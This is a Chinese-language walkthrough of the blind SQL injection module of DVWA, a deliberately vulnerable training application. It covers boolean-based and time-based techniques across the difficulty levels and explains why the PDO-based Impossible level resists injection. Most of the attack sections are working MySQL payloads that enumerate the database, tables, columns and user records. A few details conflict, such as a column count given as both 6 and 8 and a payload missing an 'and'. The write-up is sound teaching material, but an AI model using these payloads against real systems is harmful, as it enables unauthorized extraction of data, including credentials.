参考文章:DVWA之SQL Injection(Blind) | 在线ASCII码表查询
原理
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,
盲注分为两种:
布尔盲注(页面显示不同结果进行注入)、时间盲注(页面显示相同结果,但返回不同时间进行注入)
基本注入过程
1.判断数据库类型
2.判断是否存在注入,注入是字符型还是数字型
3.猜解当前数据库名
4.猜解数据库中的表名
5.猜解表中的字段名
6.猜解数据
分析—>布尔盲注
Low
先看一下代码,进行审计,判断注入类型,并找出可注入原因
看到这里页面是返回两种不同结果的—->布尔盲注 | 且为单引号字符串型注入
这里测试一波是否为单引号字符型注入
输入1’ and 1=1#,显示用户存在
输入1’ and 1=2#,显示账号不存在,妥妥的单引号字符型注入
数据库名
首先猜解数据库名的长度
通过测试,长度为4
输入1’ and length(database())=1 #,显示不存在; 输入1’ and length(database())=2 #,显示不存在; 输入1’ and length(database())=3 #,显示不存在; 输入1’ and length(database())=4 #,显示存在;
然后采用二分法猜解数据库名
经过测试,说明第一个数据库的名字的第一个字符为小写字母d
重复步骤,猜解出完整的数据库名为dvwa
输入1’ and ascii(substr(database(),1,1))>97 #, 显示存在,说明数据库名的第一个字符的ascii值大于97 输入1’ and ascii(substr(database(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122 输入1' and ascii(substr(database(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109 输入1' and ascii(substr(database(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103 输入1' and ascii(substr(database(),1,1))<101 #,显示存在,说明数据库名的第一个字符的ascii值小于101 输入1' and ascii(substr(database(),1,1))>99 #, 显示存在,说明数据库名的第一个字符的ascii值大于99 输入1’ and ascii(substr(database(),1,1))<100 #,显示不存在,大于99,小于100,就是100 …
表名
首先猜解数据库中表的数量
通过下面测试说明数据库中共有两个表
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在 1’ and (select count(table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
猜解第一个表名**长度
经过测试,说明第一个表名长度为9**
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在 … 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
然后二分法猜解表名
经过测试,说明第一个表的名字的第一个字符为小写字母g
重复步骤,即可猜解出两个表名(guestbook、users)
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在,说明数据库名的第一个字符的ascii值大于97 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在,说明数据库名的第一个字符的ascii值小于122 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在,说明数据库名的第一个字符的ascii值小于103 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<104 # 显示存在,说明数据库名的第一个字符的ascii值小于104 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>102 # 显示存在,说明数据库名的第一个字符的ascii值大于102 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在,大于102,小于103,就是103
列名
首先猜解表中字段的数量
经测试,users表有8个字段
1’ and (select count(column_name) from information_schema.columns where table_name=’users’)=1 # 显示不存在 … 1’ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8 # 显示存在
接着挨个猜解字段名
经测试,users表的第一个字段为7个字符长度。
采用二分法,即可猜解出所有字段名
1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=1 # 显示不存在 … 1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=7 # 显示存在
数据
第二个字母:a
1’ and (ascii(substr((select user from users limit 0,1),1,1)))=97#
第二个字母:d
1’ and (ascii(substr((select user from users limit 0,1),2,1)))=100#
依次猜出users表中user列的数据为admin
密码在password列中,可自己去尝试注入
鉴于payload都是一样的,后面就直接讲绕过过程,然后大家按照上面的操作就好了
Medium
老样子,看代码,进行审计,判断注入类型,并找出可注入原因
注入类型—->数字型注入和布尔盲注,这里还对特殊符号进行了HTML实体化编码
Medium是通过抓包修改参数,去注入的,抓个包就好了,演示一下
High
老样子,看代码,进行审计,判断注入类型,并找出可注入原因
注入类型—->单引号字符型注入和布尔盲注 | 就多加了个LIMIT,直接注释掉就好了
但是这里提交数据界面和查询结果界面不同,为了防止sqlmap注入
操作和Low级别操作一样,就大概演示一下
Impossible
老样子,看代码,进行审计,找出不可注入原因
看到这里用了PDO语句,将代码和数据进行了独立,所以不可注入
分析—>时间盲注
数据库名
首先猜解数据名的长度
经测试,说明数据库名长度为4个字符
1’ and if(length(database())=1,sleep(5),1)# 没有延迟 1’ and if(length(database())=2,sleep(5),1)# 没有延迟 1’ and if(length(database())=3,sleep(5),1)# 没有延迟 1’ and if(length(database())=4,sleep(5),1)# 明显延迟
接着采用二分法猜解数据库名
重复步骤,即可猜解出数据库名为dvwa
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟 … 1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
没有延迟 说明数据库名的第一个字符为小写字母d
表名
首先猜解数据库中表的数量
经测试,数据库中有2个表
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟 1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
接着挨个猜解表名长度
说明第一个表名的长度为9个字符
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1)# 没有延迟 … 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1)# 明显延迟
最后猜测第一个表名的第一个字符
重复步骤,得到表名(guestbook,users)
1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103,sleep(5),1)#
列名
首先猜解表中字段的数量
经测试,users表中有6个字段
1’ and if((select count(column_name) from information_schema.columns where table_schema=database() table_name= ‘users’)=1,sleep(5),1)# 没有延迟 … 1’ and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name= ‘users’)=8,sleep(5),1)# 明显延迟
接着挨个猜解字段名长度
说明users表的第一个字段长度为7个字符
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=1,sleep(5),1)# 没有延迟 … 1’ and if(length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=7,sleep(5),1)# 明显延迟
最后猜测列名
重复步骤,得到所有列名
1’ and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1),1,1))=116,1,sleep(5))#
数据
1’ and if(ascii(substr((select user from users limit 0,1),1,1))=97,1,sleep(5))#